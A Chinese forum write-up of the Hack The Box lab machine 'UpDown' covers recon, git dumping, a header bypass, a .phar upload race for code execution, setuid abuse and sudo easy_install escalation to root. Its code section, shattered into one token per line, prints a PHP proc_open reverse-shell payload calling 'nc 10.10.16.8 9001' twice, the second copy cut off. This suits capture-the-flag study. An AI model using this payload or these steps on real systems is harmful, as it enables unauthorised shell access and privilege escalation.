-
-
[原创]HTB UpDown (MEDIUM)
-
发表于: 2022-12-20 19:29 1483
-
参考链接:c23K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6P5i4y4@1k6h3#2%4k6h3q4C8L8X3g2K6M7#2)9J5k6h3y4G2L8g2)9J5c8X3S2S2j5$3E0Q4x3X3c8@1K9r3g2Q4x3X3c8T1L8%4S2Q4x3X3c8Z5N6r3u0Q4x3X3c8#2M7r3c8G2N6$3&6Q4x3X3c8%4j5h3I4C8N6r3S2J5L8%4g2Y4K9q4)9J5k6o6V1@1x3r3y4X3y4U0M7%4j5$3c8U0
上来还是先扫端口
只开了22和80
它是个检查网站是打开还是关闭的网站
把siteisup.htb写进 /etc/hosts
跑一下子域名
发现dev,添加到/etc/hosts
直接访问9a0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8W2N6W2)9J5k6i4y4A6N6r3g2A6M7%4g2H3i4K6u0W2K9s2c8T1i4K6u0r3i4@1f1@1i4@1u0o6i4K6W2m8i4@1f1#2i4K6S2r3i4K6V1I4i4@1f1%4i4K6S2q4i4@1t1H3y4o6l9K6
扫一下目录
以看到有几个值得注意的目录,包括/dev、/index.php 和/index.php/login
再次使用工具 dirsearch枚举下siteisup.htb/dev
发现可访问的0bdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3e0m8Q4x3X3f1I4x3g2)9J5k6e0p5%4y4#2)9J5c8X3c8W2N6W2)9J5c8W2)9J5k6h3N6A6N6q4)9J5c8R3`.`.
我们可以使用工具 git-dumper 转储 git 存储库
git-dumper参考
3faK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6F1k6i4c8%4L8%4u0C8i4K6u0r3x3K6x3J5y4o6x3&6i4K6u0W2K9s2c8E0L8l9`.`.
使用GitKraken打开
下载地址:a88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2B7K9h3q4F1M7$3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8X3u0X3k6X3p5#2z5r3t1^5x3U0x3K6x3H3`.`.
翻到一次更新,可以看到服务器有一个安全功能,需要标头“Special-Dev: only4dev”才能访问开发者站点
Special-Dev: only4dev
成功登录,这个网站可以上传文件,进行网站状态批量查询
再去看看网站代码,代码中有个checker.php
上传文件后,代码会执行以下步骤:要求文件小于10kb,检查不允许的文件扩展名,创建目录,上传文件,检查文件中找到的网站是否可用,然后从服务器中删除该文件
上传文件会在 /uploads 中创建一个文件夹,该文件夹采用上传时的 md5 哈希名称。它没有过滤掉.phar文件。
为了完成攻击,从文件上传到系统删除它,我们需要争取一些时间。向站点提供一长串要运行的URL。
上传完payload后可以在uploads目录下看到,点击该文件执行代码
可以看到代码执行成功
不能使用一些经常用于制作反向 shell 的函数,例如 shell_exec()、popen() 和 fsockopen()。但是不包括函数 proc_open。
在网站上生成一个shellcode
7c1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2J5k6i4k6K6K9r3g2D9L8s2y4Q4x3X3g2U0L8$3#2Q4x3V1j5`.
完整代码为
开启本地监听,上传文件并执行
nc -nvlp 9001
whoami发现我们以 www-data 身份登录。看一下/etc/passwd文件夹可以看到存在developer用户
我们没有获取flag的权限
文件siteisup 有一个 setUID 位,运行可执行文件时,它会将权限设置为创建可执行文件的用户(即所有者)的权限,而不是将其设置为启动它的用户。当我们运行可执行文件时,将继承开发者用户的权限。
用strings查看下文件
它看起来像是对 python 脚本的执行调用。
cat siteisup_test.py 再看看使用的python脚本
input() 函数在这里对我们很有用,因为我们可以使用它来执行代码并检索开发人员用户的 SSH 密钥。现在我们将运行可执行文件,在出现提示时添加以下内容
保存文件后给权限,连接拿到user flag
使用 sudo -l 查看我们可以作为开发人员运行的内容
我们可以运行 usr/local/bin/easy_install
fbeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6r3k6G2j5X3W2F1M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3k6%4c8X3L8$3u0A6L8Y4y4Q4x3V1k6W2j5i4y4&6i4K6g2X3K9h3&6K6N6r3q4D9L8q4)9J5c8R3`.`.
网站中向我们展示了一种使用 easy_install 程序来提升权限的方法
执行以下命令
获得root权限
rustscan
10.10
.
11.177
rustscan
10.10
.
11.177
ffuf
-
u http:
/
/
siteisup.htb
/
FUZZ
-
w wordlist
/
data
/
manual
/
2m
-
subdomains.txt
ffuf
-
u http:
/
/
siteisup.htb
/
FUZZ
-
w wordlist
/
data
/
manual
/
2m
-
subdomains.txt
dirsearch
-
u
10.10
.
11.177
dirsearch
-
u
10.10
.
11.177
python git_dumper.py http:
/
/
10.10
.
11.177
/
dev
/
.git
/
~
/
siteup
python git_dumper.py http:
/
/
10.10
.
11.177
/
dev
/
.git
/
~
/
siteup
<?php
$descriptorspec
=
array(
0
=
> array(
"pipe"
,
"r"
),
/
/
stdin
is
a pipe that the child will read
from
1
=
> array(
"pipe"
,
"w"
),
/
/
stdout
is
a pipe that the child will write to
2
=
> array(
"file"
,
"/tmp/error-output.txt"
,
"a"
)
/
/
stderr
is
a
file
to write to
);
$cwd
=
'/tmp'
;
$env
=
array(
'some_option'
=
>
'aeiou'
);
$process
=
proc_open(
'sh'
, $descriptorspec, $pipes, $cwd, $env);
if
(is_resource($process)) {
/
/
$pipes now looks like this:
/
/
0
=
> writeable handle connected to child stdin
/
/
1
=
> readable handle connected to child stdout
/
/
Any
error output will be appended to
/
tmp
/
error
-
output.txt
fwrite($pipes[
0
],
'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.8 9001 >/tmp/f'
);
fclose($pipes[
0
]);
echo stream_get_contents($pipes[
1
]);
fclose($pipes[
1
]);
/
/
It
is
important that you close
any
pipes before calling
/
/
proc_close
in
order to avoid a deadlock
$return_value
=
proc_close($process);
echo
"command returned $return_value\n"
;
}
?>
<?php
$descriptorspec
=
array(
0
=
> array(
"pipe"
,
"r"
),
/
/
stdin
is
a pipe that the child will read
from
1
=
> array(
"pipe"
,
"w"
),
/
/
stdout
is
a pipe that the child will write to
2
=
> array(
"file"
,
"/tmp/error-output.txt"
,
"a"
)
/
/
stderr
is
a
file
to write to
);
$cwd
=
'/tmp'
;
$env
=
array(
'some_option'
=
>
'aeiou'
);
$process
=
proc_open(
'sh'
, $descriptorspec, $pipes, $cwd, $env);
if
(is_resource($process)) {
/
/
$pipes now looks like this: